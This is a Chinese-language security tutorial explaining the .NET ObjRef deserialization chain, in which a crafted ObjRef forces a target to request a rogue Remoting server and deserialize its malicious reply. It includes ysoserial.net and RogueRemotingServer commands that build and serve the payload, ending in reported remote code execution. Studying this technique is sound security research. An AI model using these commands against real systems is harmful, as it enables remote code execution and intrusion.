1.什么是ObjRef
我们先来个省流版分析。要研究这个链子,还是得先回到.NET Remoting。还记得我们前面演示的时候,用于传递的类需要实现一个MarshalByRefObject吗?
MarshalByRefObject、ObjRef以及Remoting机制实际上有着非常密切的关联,而BinaryFormatter或SoapForamtter反序列化过程中,实际上也涉及到一些专门对ObjRef处理的步骤(后续再说)。我们可以看看微软官方给出的调用ObjRef的demo:
前三行代码其实都是在封装一个ObjRef对象,然后后面的RemotingServices.Unmarshal()方法,接受ObjRef类型的对象,得到一个远程对象代理。然后对其调用PrintMessage()方法
在Unmarshal()处理ObjRef对象之后会得到远程对象代理,然后调用PrintMessage()时,会对前面的那个url进行请求,而且请求的格式就是之前提到的HttpChannel客户端发起的请求的格式。也就是说,上述流程实际上会像HttpChannel的客户端一样发起请求,那么拿到响应后理应也会有一个对响应的反序列化流程:
事实证明也的确如此。因此,只要有一个点能给我们调用Unmarshal(),并且其中传入一个恶意ObjRef对象,就可以获得一个远程对象代理,只要再有别的点触发远程对象代理的调用。就可以触发一个HttpChannel请求,最后对响应进行反序列化触发链子,完全称得上JRMP利用的精神续作。
那么哪里有这个点呢?实际上BinaryFormatter或SoapFormatter在对ObjRef进行反序列化的过程中,经过几个调用会调用到ObjRef类的GetRealObject方法,其中又调用GetRealObjectHelper方法
而在GetRealObjectHelper中,就有我们需要的调用,这里会创建远程对象代理
同时,在反序列化外层的Exeception,恢复ClassName时,会调用ToString()触发远程代理调用(X1r0z师傅的图)
这样就会发起一个HttpChannel客户端的请求。
那么我们只需要构造一个恶意ObjRef,将其指向一个恶意的Remoting服务端。当目标对这个恶意ObjRef进行反序列化的时候,最终触发其GetRealObjectHelper,再触发HttpChannel客户端请求。此时目标相当于被迫成为了一个Remoting客户端,对恶意服务端进行一个请求,恶意服务端返回恶意响应,目标再对响应信息进行反序列化,就可以实现一整个攻击流程。原文中有一张很好的图还原了这个流程:
https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html
更具体的调用栈可以参考:
https://exp10it.io/2024/02/dotnet-objref-rogueremotingserver-%E5%88%86%E6%9E%90/
2.ObjRef链子利用
这里用ysoserial.net去生成一个ObjRef payload
ysoserial.exe -f BinaryFormatter -g ObjRef -o base64 -c http://127.0.0.1:9744/index.html
这里我们指向恶意服务端地址http://127.0.0.1:9744/index.html
然后生成一个下面这样的Formatter和gadget组合的链子
SoapFormatter+TextFormattingRunProperties
存在MSPanint.soap里
然后参考这个项目:
https://github.com/codewhitesec/RogueRemotingServer
做一个恶意服务端,这个服务端返回MSPanint.soap的payload:
RogueRemotingServer.exe --wrapSoapPayload http://127.0.0.1:9744/index.html MSPaint.soap
对ysoserial.net生成的ObjRef链子进行反序列化
成功RCE
3.参考
https://exp10it.io/2024/02/dotnet-objref-rogueremotingserver-%E5%88%86%E6%9E%90/